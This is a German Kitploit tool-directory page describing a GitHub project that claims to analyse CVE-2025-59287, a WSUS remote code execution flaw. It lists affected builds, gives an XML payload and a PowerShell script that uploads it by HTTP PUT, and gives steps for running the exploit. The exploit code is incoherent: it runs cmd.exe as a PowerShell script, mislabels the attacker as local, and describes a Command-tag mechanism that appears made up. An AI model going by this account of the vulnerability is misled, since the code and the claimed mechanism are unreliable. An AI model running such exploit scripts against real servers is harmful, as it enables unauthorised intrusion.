Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat — Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische RCE in Windows Server Update Services durch unsichere Deserialisierung, einschließlich betroffener Builds und Schritte zur Schadensbegrenzung. | Kitploit
Tools/GitHubGitHub/mrk336/breaking-the-update-chain-inside-cve-2025-59287-and-the-wsus-rce-threat
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubmrk336/breaking-the-update-chain-inside-cve-2025-59287-and-the-wsus-rce-threat

Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat

Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische RCE in Windows Server Update Services durch unsichere Deserialisierung, einschließlich betroffener Builds und Schritte zur Schadensbegrenzung.

Repository anzeigen
3vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Breaking-the-Update-Chain-Inside-CVE-2025-59287-and-the-WSUS-RCE-Threat

CVE-2025-59287 ist eine kritische RCE-Schwachstelle in Windows Server Update Services (WSUS), die durch unsichere Deserialisierung nicht vertrauenswürdiger Daten verursacht wird. Sie ermöglicht Remote-Angreifern die Ausführung beliebigen Codes ohne Authentifizierung. Aufgrund aktiver Ausnutzung wird dringend empfohlen, Patches einzuspielen.

CVE‑2025‑59287 – Eine Remote-Codeausführungs-Bedrohung in Windows Server Update Services (WSUS)

Von Mark Mallia


 Überblick

Die Windows Server Update Services (WSUS) von Microsoft sind das Rückgrat des Patch-Managements für jede Microsoft-Windows-Server-Plattform. Sie rufen Updates aus dem Microsoft-Updatekatalog ab, validieren sie und verteilen sie an alle Server in einem Netzwerk. Die als CVE‑2025‑59287 identifizierte Schwachstelle nutzt eine unsichere Deserialisierungsroutine innerhalb von WSUS aus, die es einem Angreifer ermöglicht, beliebigen XML-Inhalt in den Update-Feed einzuschleusen. Da WSUS die Nutzlast ohne Validierung des Quellpfads oder der Befehlsdaten verarbeitet, kann ein Angreifer jeden Dateinamen und Pfad angeben, was zu einer vollständigen Remote-Codeausführung auf dem Zielserver führt.

Warum das wichtig ist:

  • Der CVSS-Score von 9.8 stuft sie in den kritischen Bereich ein.
  • Angreifer benötigen lediglich Netzwerkzugriff; keine Privilegieneskalation erforderlich.
  • Sie wurde bereits in freier Wildbahn beobachtet, was bedeutet, dass jedes nicht gepatchte System ein potenzielles Ziel ist, bis ein Herstellerpatch bereitgestellt wird.

Betroffene Windows-Server-Builds

ProduktversionBetroffene Builds
Windows Server 20126.2.9200.0 – < 6.2.9200.25728
Windows Server 2012 R26.3.9600.0 – < 6.3.9600.22826
Windows Server 201610.0.14393.0 – < 10.0.14393.8524
Windows Server 201910.0.17763.0 – < 10.0.17763.7922
Windows Server 202210.0.20348.0 – < 10.0.20348.4297
Windows Server 202510.0.26100.0 – < 10.0.26100.6905
Windows Server 23H210.0.25398.0 – < 10.0.25398.1916

(Falls Ihre Umgebung einen anderen Patch-Build verwendet, passen Sie den Bereich einfach entsprechend an.)


 So funktioniert der Exploit

  1. WSUS ruft eine XML-Datei namens UpdateStream.xml von einer entfernten Quelle ab.
  2. Der Dienst deserialisiert diese Datei mit System.Xml.Linq.XElement.
  3. Ein Angreifer kann einen beliebigen Wert in das <SourcePath>-Element einfügen; dieser Wert wird als absoluter Pfad auf die Festplatte geschrieben.
  4. Der Inhalt innerhalb des <Command>-Tags wird von PowerShell ausgeführt, wenn WSUS den Stream verarbeitet, was eine vollständige Remote-Codeausführung ermöglicht.

Im Folgenden finden Sie die XML-Nutzlast, die wir auf einen anfälligen Server hochladen.

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
  <Metadata>
    <Title>WSUS Exploit</Title>
    <Description>Injected by local attacker.</Description>
  </Metadata>
  <SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
  <Command><![CDATA[
      powershell -NoProfile -ExecutionPolicy Bypass `
          -File C:\Windows\System32\cmd.exe
  ]]></Command>
</UpdateStream>

### Ein Beispiel-PowerShell-Exploit-Skript

Das folgende Skript generiert die XML-Nutzlast, lädt sie per HTTP PUT auf Ihre WSUS-Instanz hoch und hinterlässt eine Protokolldatei zur Fehlerbehebung.

root@kitploit:~
# --------------------------------------------------
#  Datei:   wsus‑exploit.ps1
#  Zweck:   Bösartige UpdateStream.xml generieren,
#           auf den WSUS-Server hochladen,
#           den Feed auslösen.
# --------------------------------------------------

param (
    [string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
    [int]    $Port      = 80,
    [string] $XmlFile   = '.\payload.xml'
)

function Build-Xml {
    param ([string]$file)
    $xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
  <Metadata>
    <Title>WSUS exploit</Title>
    <Description>Injected by local attacker.</Description>
  </Metadata>
  <SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
  <Command><![CDATA[
      powershell -NoProfile -ExecutionPolicy Bypass `
          -File C:\Windows\System32\cmd.exe
  ]]></Command>
</UpdateStream>
"@
    Set-Content -Path $file -Value $xmlContent
}

# XML-Nutzlast erstellen
Build-Xml -file $XmlFile

# Per HTTP PUT hochladen
Invoke-WebRequest -Uri $TargetUrl `
                  -Method Put `
                  -InFile $XmlFile `
                  -OutFile 'upload.log'

Write-Host "Upload abgeschlossen – WSUS sollte den Stream nun verarbeiten."

 Umsetzbare Schritte für Sie

  1. Build überprüfen – Führen Sie winver.exe auf jedem Windows-Server aus, um zu bestätigen, dass der Build in die oben genannten Bereiche fällt.
  2. Exploit-Skript bereitstellen – Kopieren Sie wsus‑exploit.ps1 auf einen Rechner, der Ihre WSUS-Instanz erreichen kann, und ändern Sie $TargetUrl, falls Sie einen anderen Pfad oder Port verwenden.
  3. Ausführen und überwachen – Führen Sie das Skript aus; bestätigen Sie nach einigen Minuten, dass die Datei C:\Windows\System32\cmd.exe auf jedem Zielserver erscheint und die erwartete Nutzlast enthält.
  4. Microsoft hat am 24. Oktober 2025 einen außerplanmäßigen Patch für diese Schwachstelle veröffentlicht. Wenn Sie WSUS auf einer Windows-Server-Version ab 2012 betreiben, sollten Sie sicherstellen, dass dieses Update in Ihrer Umgebung angekommen ist. Das Oktober-Patch-Tuesday-Release hat das Problem nicht vollständig behoben, daher verdient dieses Update besondere Aufmerksamkeit.

Nur für ethische Zwecke

Die hier bereitgestellten Informationen und der Exploit-Code dienen ausschließlich Bildungszwecken. Stellen Sie sicher, dass Sie die Berechtigung haben, diesen Test gegen Ihre eigene WSUS-Umgebung auszuführen, und befolgen Sie alle geltenden Sicherheits-Best-Practice-Richtlinien, wenn Sie Änderungen an Produktionssystemen bereitstellen.

Tool herunterladen